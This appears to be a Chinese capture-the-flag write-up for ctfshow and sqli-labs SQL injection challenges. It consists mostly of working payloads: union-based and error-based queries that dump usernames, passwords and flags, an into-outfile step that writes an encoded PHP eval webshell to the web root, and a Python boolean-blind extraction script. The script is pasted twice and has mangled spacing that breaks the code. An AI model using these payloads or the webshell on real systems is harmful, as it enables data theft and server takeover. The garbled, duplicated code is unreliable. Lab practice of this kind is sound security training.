99999' union select id,password from ctfshow_user2 where username='flag
web173
思路同上,要返回三列
select 1,2 1,2占位可以用1,’a’等替换
1 2 3 4
1' union select 1,2,password from ctfshow_user3--+ 也可以使用replace(),hex()等处理返回的username 1' union select id,hex(username),password from ctfshow_user3--+ 1' union select id,replace(username,'a',1),password from ctfshow_user3--+ #a被替换为1
web174
过滤了数字,
1 2
999' union select replace(username,'f','d'), REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password, 0, 'zero'), 1, 'one'), 2, 'two'), 3, 'three'), 4, 'four'), 5, 'five'), 6, 'six'), 7, 'seven'), 8, 'eight'), 9, 'nine') from ctfshow_user4 where username='flag'--+ 然后换回去
99' union select 1,password from ctfshow_user5 into outfile '/var/www/html/7.txt'--+
2.写入一句话木马,先base64然后编码
1
4541' union select 1,from_base64("%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%4a%7a%5a%43%4a%64%4b%54%73%2f%50%67%3d%3d") into outfile '/var/www/html/13.php
?id=1+1 ?id=1' order by 4 --+ ?id=-1' union select 1,2,3 --+
判断为字符型,闭合方式为’’,有3列,回显位为2,3
1 2 3 4 5 6 7 8
获取库名 ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 数据 ?id=-1' union select 1,2,group_concat(id,username,password) from users --+
按照以上方法即可获取任意数据
Less-2
改为数字型即可
Less-3
闭合方式改为(’’)即可
Less-4
闭合方式改为(””)即可
Less-5
字符型,闭合方式为’’,根据回显使用报错注入
1
?id=1' and updatexml(1, concat(0x7e, substring((**select group_concat(schema_name) from information_schema.schemata**), 1, 32)), 1) --+
修改红色部分,同时修改substring参数即可
1
?id=1' and updatexml(1, concat(0x7e, substring((select group_concat(id,username,password) from users), 1, 32)), 1) --+
URL = "http://127.0.0.1/sqli-labs-master/Less-7/" CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@{}.-" MAX_LEN = 30 TRUE_MARK = "You are in.... Use outfile......" HEADERS = {"User-Agent": "Mozilla/5.0"}
def is_true(payload): full_url = f"{URL}?id=1')) AND {payload}--+" try: res = requests.get(full_url, headers=HEADERS, timeout=5) return TRUE_MARK in res.text except: return False
def extract_string(sql_expr, tag="item", index=0): result = '' for pos in range(1, MAX_LEN + 1): found = False for ch in CHARSET: payload = f"SUBSTR(({sql_expr}),{pos},1)='{ch}'" ifis_true(payload): result += ch print(f"[{tag}] ({index}) Char {pos}: {ch}") found = True break if not found: break return result
def get_database_name(): print("\n[+] Getting current database name:") returnextract_string("SELECT database()", "DB")
def get_table_names(db): print(f"\n[+] Getting table names from database `{db}`") tables = [] for i in range(0, 10): sql = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {i},1" table = extract_string(sql, "Table", i) if table: tables.append(table) else: break return tables
def get_column_names(db, table): print(f"\n[+] Getting column names from table `{table}`") columns = [] for i in range(0, 10): sql = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{db}' AND table_name='{table}' LIMIT {i},1" col = extract_string(sql, "Column", i) if col: columns.append(col) else: break return columns
def get_column_data(table, column): print(f"\n[+] Getting data from `{table}`.`{column}`") data = [] for i in range(0, 10): sql = f"SELECT {column} FROM {table} LIMIT {i},1" value = extract_string(sql, "Data", i) if value: data.append(value) else: break return data
def choose_from_list(lst, prompt="Choose item"): print(f"\n{prompt}:") for idx, item in enumerate(lst): print(f"{idx}: {item}") while True: try: i = int(input(f"> Enter index (0-{len(lst)-1}): ").strip()) if0 <= i < len(lst): return lst[i] except: pass print("Invalid input. Try again.")
db = get_database_name() print(f"[✓] Current Database: {db}")
tables = get_table_names(db) if not tables: print("[-] No tables found.") exit()
chosen_table = choose_from_list(tables, prompt="📂 Select a table to explore")
columns = get_column_names(db, chosen_table) if not columns: print("[-] No columns found in this table.") exit()
chosen_column = choose_from_list(columns, prompt="📄 Select a column to dump data from")
values = get_column_data(chosen_table, chosen_column) print(f"\n[✓] Extracted Data from `{chosen_table}`.`{chosen_column}`:") for v in values: print(f" - {v}")
def extract_string(sql_expr, tag="item", index=0): result = '' for pos in range(1, MAX_LEN + 1): found = False for ch in CHARSET: payload = f"SUBSTR(({sql_expr}),{pos},1)='{ch}'" ifis_true(payload): result += ch print(f"[{tag}] ({index}) Char {pos}: {ch}") found = True break if not found: break return result
def get_database_name(): print("\n[+] Getting current database name:") returnextract_string("SELECT database()", "DB")
def get_table_names(db): print(f"\n[+] Getting table names from database `{db}`") tables = [] for i in range(0, 10): sql = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {i},1" table = extract_string(sql, "Table", i) if table: tables.append(table) else: break return tables
def get_column_names(db, table): print(f"\n[+] Getting column names from table `{table}`") columns = [] for i in range(0, 10): sql = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{db}' AND table_name='{table}' LIMIT {i},1" col = extract_string(sql, "Column", i) if col: columns.append(col) else: break return columns
def get_column_data(table, column): print(f"\n[+] Getting data from `{table}`.`{column}`") data = [] for i in range(0, 10): sql = f"SELECT {column} FROM {table} LIMIT {i},1" value = extract_string(sql, "Data", i) if value: data.append(value) else: break return data
def choose_from_list(lst, prompt="Choose item"): print(f"\n{prompt}:") for idx, item in enumerate(lst): print(f"{idx}: {item}") while True: try: i = int(input(f"> Enter index (0-{len(lst)-1}): ").strip()) if0 <= i < len(lst): return lst[i] except: pass print("Invalid input. Try again.")
db = get_database_name() print(f"[✓] Current Database: {db}")
tables = get_table_names(db) if not tables: print("[-] No tables found.") exit()
chosen_table = choose_from_list(tables, prompt="📂 Select a table to explore")
columns = get_column_names(db, chosen_table) if not columns: print("[-] No columns found in this table.") exit()
chosen_column = choose_from_list(columns, prompt="📄 Select a column to dump data from")
values = get_column_data(chosen_table, chosen_column) print(f"\n[✓] Extracted Data from `{chosen_table}`.`{chosen_column}`:") for v in values: print(f" - {v}")
Less-10
闭合方式改为””
Less-11
字符型,闭合方式为’’,有两列,使用联合注入,同第一题将—+改为#
1
-1' union select 1,group_concat(schema_name) from information_schema.schemata #